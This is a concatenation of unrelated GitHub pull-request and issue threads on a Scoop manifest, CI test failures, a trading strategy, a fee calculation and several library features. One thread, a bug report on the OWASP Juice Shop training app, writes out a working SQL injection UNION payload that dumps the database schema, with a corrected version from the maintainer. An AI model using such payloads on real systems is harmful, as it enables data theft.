        "architecture": {

            "64bit": {

                "url": "https://github.com/ByteDream/crunchyroll-go/releases/download/v$version/crunchy-v$version_windows.exe#/crunchy.exe"

            }

        }

    }

}

No offense intended, but I don't see a substantial difference. Unless this fixes something I was unaware of.

There's a lot of difference. Use the diff tool to see it.

There's no formatting difference. Please check all JSON fields one by one before commenting.

{

    "version": "2.1.0",

    "description": "A Go library & CLI for undocumented Crunchyroll APIs.",

    "homepage": "https://github.com/ByteDream/crunchyroll-go",

    "license": "LGPL-3.0-or-later",

    "suggest": {

        "ffmpeg": "ffmpeg",

        "vcredist": "extras/vcredist2010"

    },

    "notes": "You need a premium account for full (API) access.",

    "architecture": {

        "64bit": {

            "url": "https://github.com/ByteDream/crunchyroll-go/releases/download/v2.1.0/crunchy-v2.1.0_windows.exe#/crunchy.exe",

            "hash": "76b746c16269981230c68bb4f85fc0a35ceaf68a124e9f882ee3584ea179d355"

        }

    },

    "bin": "crunchy.exe",

    "checkver": "github",

    "autoupdate": {

        "architecture": {

            "64bit": {

                "url": "https://github.com/ByteDream/crunchyroll-go/releases/download/v$version/crunchy-v$version_windows.exe#/crunchy.exe"

            }

        }

    }

}

I did check all JSON fields before commenting, what I meant by formatting difference is that as my manifest worked in my testing so I am asking what was wrong with the original manifest that justifies the changes. I want to know the reasoning behind the changes, I can see them and I did not just glance over them. I want to know the reason behind each change as I want to know if I did something wrong. I am not inclined to change anything without knowing a reason behind the change. If it is just the preferred way to do it for the repo then please clarify that and the best practices(I read the guidelines but please tell me if I missed a requirement). I made the manifest based off of examples in the main and extra bucket and I am just wondering if your suggested edits are just how you would do it, or if it is how we are supposed to do it. Furthermore if it is just your preference, then why do you prefer it that way personally.
It is the why to the changes, not the changes themselves...

There's nothing wrong with calling the bin multiple times, but why complicate things when they can be done in a simpler manner? You'll find lots of manifests where binaries are renamed in the URL itself. Also, only official binary shim names are allowed; you can't create custom-named shims.
As for description, the premium account requirement is not a "description" of the package per se, but rather a gotcha, or a "thing to keep in mind", which is exactly why the notes field exists.

Some other differences:

The package is a compiled binary. There's no need for suggesting the Golang package. Moreover, Go binaries are fat binaries, so even vcredist is not required, but I left it there because some other (non-Go) packages have it.
When the homepage is a GitHub repo, you can simplify the checkver to just say github, it will automatically use the repo from the homepage field.

@rashil2000 Thanks for the clarifications, I have made a commit adopting most of them. I just wanted to know the reason behind them because I new there had to be a reason.

No worries, I should've explained myself earlier.
Also, please remove any blank newlines.

I approved your commit and removed some blank lines

/verify

Thanks for your patience!

Thanks for your patience!

Thanks for the help and pointers.


[DO NOT MANUAL MERGE] Release Qualification

Trigger release qualification jobs
none

@silverdev: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/daily-e2e-rbac-no_auth.sh
4ab558c58f6aaee07bc509d1203c8a5ee8583739
link
/test daily-e2e-rbac-no_auth

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@silverdev: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/daily-e2e-rbac-no_auth.sh
4ab558c58f6aaee07bc509d1203c8a5ee8583739
link
/test daily-e2e-rbac-no_auth

prow/daily-e2e-rbac-no_auth-default.sh
4ab558c58f6aaee07bc509d1203c8a5ee8583739
link
/test daily-e2e-rbac-no_auth-default

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.


Added ForecastV3 strategy to showcase async tulip+talib usage

What kind of change does this PR introduce? (Bug fix, feature, docs update, ...)

Feature

What is the current behavior? (You can also link to an open issue here)

Strategies use this.addTalibIndicator inside the strategy init function to use any Talib or Tulip indicator right now. This is a different approach than using native gekko indicators.

What is the new behavior (if this is a feature change)?
In multi-timeframe strategies for example it is necessary to apply a talib/tulip indicator against a custom candle size. In this case the asynIndicatorRunner (used above) is not available.

This is an advanced sample strategy using async talib/tulip implementations to showcase strategies using async/await. This approach can be used for many other, async things inside a strategy, e.g. requesting a twitter feed from the internet and add it to your strategy decisions, or remote markets/candles, or any other async functionality you can imagine for use inside a gekko strategy.

Other information:
The above Forecast strategy was heavily discussed on gekko discord channel, good backtest result but impossible to run live due to async problems. The conversion of this strategy to async tulip/talib is also a new test case whether this strategy can be enabled for live trading (in a multi-timeframe strat).

see #2530.


Error Exfiltrating DB Schema with SQLi in Docker  [🐛]

:bug: Bug report
Description
Using the latest docker image (bkimminich/juice-shop@sha256:965e9ca6172ee85897219fe2ed26028251e34151cd472e32ac21c5ead2ddcaf9), an error occurs using SQLi to exfiltrate the schema, that doesn't happen on an older image.
NB: I'm not sure how to get a docker image version, so I've used the RepoDigest field from docker image inspect. If you can point me to the right place, I'll update the issue with the correct versions.
Is this a regression?
Yes. This does not happen in bkimminich/juice-shop@sha256:db4a8526974915182a4485a42c2f36100c8725dcd217366d71161503cadf5c39
:microscope: Minimal Reproduction

Pull the latest docker image

Run the image using docker run -d -e "NODE_ENV=ctf" -p 3000:3000 bkimminich/juice-shop:latest

Attempt to exfiltrate the schema using the below query
curl -X GET
'http://localhost:3000/rest/products/search?q=ban%25' )) UNION ALL Select name,  null, sql, null, null, null, null, null, null from sqlite_master --'
-H 'Accept: /'
-H 'Accept-Encoding: gzip, deflate'
-H 'Cache-Control: no-cache'
-H 'Connection: keep-alive'
-H 'Host: localhost:3000'
-H 'Postman-Token: d2bb571a-ad4b-4b0f-bd56-8acd7974b89e,885473c9-55ac-4eb2-af82-524fea606c5f'
-H 'User-Agent: PostmanRuntime/7.18.0'
-H 'X-Content-Type: application/json'
-H 'cache-control: no-cache'

Note the error

:fire: Exception or Error

OWASP Juice Shop (Express ^4.17.1)

500 TypeError: Cannot read property 'locale' of null

    at IncomingMessage.i18nTranslate (/juice-shop/node_modules/i18n/i18n.js:213:25)

    at /juice-shop/routes/search.js:47:34

    at tryCatcher (/juice-shop/node_modules/bluebird/js/release/util.js:16:23)

    at Promise._settlePromiseFromHandler
            (/juice-shop/node_modules/bluebird/js/release/promise.js:547:31)

    at Promise._settlePromise (/juice-shop/node_modules/bluebird/js/release/promise.js:604:18)

    at Promise._settlePromise0
            (/juice-shop/node_modules/bluebird/js/release/promise.js:649:10)

    at Promise._settlePromises
            (/juice-shop/node_modules/bluebird/js/release/promise.js:729:18)

    at _drainQueueStep (/juice-shop/node_modules/bluebird/js/release/async.js:93:12)

    at _drainQueue (/juice-shop/node_modules/bluebird/js/release/async.js:86:9)

    at Async._drainQueues (/juice-shop/node_modules/bluebird/js/release/async.js:102:5)

    at Immediate.Async.drainQueues [as _onImmediate]
            (/juice-shop/node_modules/bluebird/js/release/async.js:15:14)

    at processImmediate (internal/timers.js:439:21)

:deciduous_tree: Your Environment
node: v12.0.0
npm: v12.0.0
(These are from the host PC, not the docker image)

Okay, this one is kind of mean, but it's actually not a bug I'd like to fix, because it is just a side effect of the way you made your payload. Let me explain:
Your payload tries to get the name into the first column and the sql into the third column of the result set and sets all else to null. The columns returned by the original query are id, name, description, ... and the last two are passed into a translation function _which does not survive null inputs. This is fine, because both values are not supposed to be null in the database for any product.
As the sql column sometimes is null itself, you are basically "double-killing" the translation by passing those into the description and with your static null passed into the second column name. If you change your payload so that name and description are static strings or numbers, and you exfiltrate the data into any of the other columns, then all will work fine:
http://localhost:3000/rest/products/search?q=ban%25' )) UNION ALL Select name, 'no nulls in these',%20'two columns please',%20sql,%20null,%20null,%20null,%20null,%20null%20from%20sqlite_master%20--


issue #341 - fix Exchange Fee Cost for sUSD

Description
the core issue comes from the feeCost calculation in the useExchange hook. solution is as follows:

added a calculation called feeAmountInQuoteCurrency that gets memoized on its own
inserted a check into the feeCost calculation to check if the quoteCurrency === sUSD
if so, return the feeAmountInQuoteCurrency as the fee cost

Related issue
https://github.com/Kwenta/kwenta/issues/341
Motivation and Context

when trading against the sUSD pair, the fee cost should be applied to the sUSD value.
when trading against the sUSD pair, the formatting of different values across the exchange only displays 1 decimal places

How Has This Been Tested?
google chrome on a mac OS laptop
node v14.17.1
npm v8.4.0

I tested this by loading the app as per the README:

> npm i
...
> npm run dev
...

From the localhost setup I connected to optimism mainnet and tested against my own wallet balances (tried to grab some from the optimism kovan faucet but was having trouble there). I was able to confirm the fix by comparing my localhost connected to optimism mainnet with https://kwenta.io/exchange/sETH-sUSD and differentiating the formatting and fee cost amounts.

I have noticed a formatting issue that is applied to several spots when sUSD (and sETH) are selected, see screen shots for references there.

There are some e2e tests for the exchange, I have not tried those as yet.
Screenshots (if appropriate):
after changes:

comparison of formatting against sUSD

so i ive tracked down the "issue" with only 1 trailing 0 - this does not have to do with sUSD being selected or any other synth - its the default behavior of utils.comify  - if the decimals are .00 it will trim it to .0 and join it with the comified whole number
https://github.com/ethers-io/ethers.js/blob/master/packages/units/src.ts/index.ts#L23-L62
specifically right here:
https://github.com/ethers-io/ethers.js/blob/master/packages/units/src.ts/index.ts#L45-L47
you can also see this in the ethers docs here https://docs.ethers.io/v3/api-utils.html?highlight=pad#id1
I added a wrap function in numbers.ts around commify to reverse the commify single zero behavior - if thats not the desired behavior I can revert the 931d5b3

on another note - I applied the fix against sUSD useShort and the ManageShortAction on the final 464695e commit
looks like the interest rate is off potentially?

I am unable to test this against the ManageShortAction as im using mainnet optimism to test
ill wait for a reply to finalize these changes.

So while reviewing your PR @platschi and I realized that the real problem here was that the "fee cost" was calculated from the base asset (output currency), but the base asset amount we receive from the smart contracts already have the fee taken out before returning**. Your solution actually does somewhat fix the issue for cases when sUSD is the quote asset, but it still exists if any other synth is a quote asset.
What we should do here is actually calculate the "fee cost" from the sUSD value of quote asset. That would give us the most accurate cost.
Also thanks for the two digit formatting fix!
** Helpful documentation under Events Emitted here: https://docs.synthetix.io/contracts/transactions/#trading-exchanging-synths

@JChiaramonte7 @platschi ive got the exchange fees calculating correctly based on the QuoteCurrencyFeeAmount, can you confirm I should do the same for useShort and ManageShortAction?


Updated broken links to a new ones

Fixes #1268
Looks like this link from upstream is the best one, despite they are suggesting to use latest versions of dependencies, not ones from your distro. I think our users will see that and we don't need to clarify.
I'm not sure whether it make sense to add this pure documentation PR to a changelog, I think this is not what users want to see when they check changes for a new version.

Much appreciated!


Add List[op] to PauliString constructor, deprecate from_single

Fixes: #2180

Looks like there's a call to from_single left in the code base. It's in contrib/paulistirng/clifford_optimize.py ; that's why the contrib-less tests passed. Only the first invocation of the method triggers the logging, and the contrib test happens to run before the deprecated test.

Obsoleted by https://github.com/quantumlib/Cirq/pull/2232


Enable segment decryption for encrypted segments in Minion

Minion downloads segments locally and purges (or modifies) records of the segments. If segments are encrypted, Minion needs to decrypt them before applying any purge (or modification). Decryption has to be performed by the same crypter that is used for encryption. Crypter is specified in TableConfig.
Please note that Minion doesn't need to encrypt the segment after purge/modification. When un-encrypted segments get uploaded to Controller through upload api, they get encrypted automatically (this happens if the crypter config is available in table config).

Do we have test for the flow where minion uploads decrypted segment, but controller encrypts it?

Minion uses FileUploadDownloadClient to upload segment to Controller. This flow - using FileUploadDownloadClient to send unencrypted segments to Controller to get decrypted there - was tested before in the PR for segment encryption on Controller.


[Identity] Set noUnusedLocals to true in tsconfig

With #11424, we now have the tsconfig.json file in the identity project extending the base configuration, but it overrides the noUnusedLocals option set in the base file. This issue is to remove this override and fix any resulting errors in the project.
PRs are welcome to make this change.

Resolved with #11453


Haxx to ember-cli-babel seem to be failing on Ember 3.27.0-beta1

As first mentioned by @boris-petrov in https://github.com/ember-polyfills/ember-cached-decorator-polyfill/issues/70#issuecomment-843790181, the release of<EMAIL_ADDRESS>seems to have unblocked parts of the ecosystem. But this addon seems to have issues with the new approach, somehow related to the haxx introduced in https://github.com/ember-polyfills/ember-cached-decorator-polyfill/pull/12 ?
Reproduction available here: https://github.com/acorncom/cached-decorator-babel-issues-reproduction (latest<EMAIL_ADDRESS>is in use there)
In my case, the error thrown is:
applyDecoratedDescriptor.js:16 Uncaught TypeError: decorator is not a function
    at eval (applyDecoratedDescriptor.js:16)
    at Array.reduce (<anonymous>)
    at _applyDecoratedDescriptor (applyDecoratedDescriptor.js:15)
    at eval (test-component.js:49)
    at Module../components/test-component.js (chunk.d76dcaa29bf3c00d6f74.js:92)
    at __webpack_require__ (chunk.7e29ea896c9f6f20b6e2.js:80)
    at Module.eval [as callback] (module-issues.js:70)
    at Module.exports (loader.js:106)
    at requireModule (loader.js:27)
    at Class._extractDefaultExport (index.js:466)

and that seems to be getting thrown by ember-page-title. But that wasn't a problem until I imported cached and used it.

Fixed by #75, can you confirm @acorncom ?

https://github.com/ember-polyfills/ember-cached-decorator-polyfill/releases/tag/v0.1.2

I confirmed locally that https://github.com/acorncom/cached-decorator-babel-issues-reproduction/pull/1 successfully prints the text with both Embroider and non-Embroider builds.


Compute the Sketch representing the intersection

There is Merge to compute the Sketch representing the union set; yet one can only use Intersection to compute a count, not another Sketch.
Is it possible to compute a Sketch representing the intersecting set?

Unfortunately, as with the standard MinHash sketch, there is no way to get another Sketch representing the intersecting set. This is because for each bucket, only the minimum number is stored for each set A and B. When you take a union, you simply take the minimum of the two. However, in order to get the sketch for the intersection, you would have to figure out the minimum number that is present in both sets, which is often impossible from the information that is stored.
If you are interested in multi-way intersections of sets A, B, and C though, you can get a count for that too, but still not a sketch.
Apologies.

Yes, I'd need a count to the tune of A ∩ B ∩ C ∪ D ∩ E. Thanks for the information, closed then.

@yunwilliamyu re your comment If you are interested in multi-way intersections of sets A, B, and C though, you can get a count for that too, but still not a sketch. I'm really interested in doing this, but can't see any way of achieving it with this package.
Ie, want  A ∩ B ∩ C ∩ D ∩ E , but this package only ever allows A ∩ B

This package doesn’t support that function, I think.
Mathematically, it’s not difficult; all you have to do is check all-ways equality of the buckets, and multiply that fraction by the all-ways union cardinality.
I don’t maintain this Go package (which the Axiom folks maintain), but I’m happy to write some code over on my Python package ( https://github.com/yunwilliamyu/hyperminhash ) as a feature request.


Allow commands to be case-insensitive

Switch statements only allow comparison with constants, not expressions. Hence, toLowerCase() or toUpperCase() cannot be used unless we're willing to change the whole thing to a bunch of if/else if statements

can't we to lower case the commandword? and then change the COMMAND_WORD to lower case?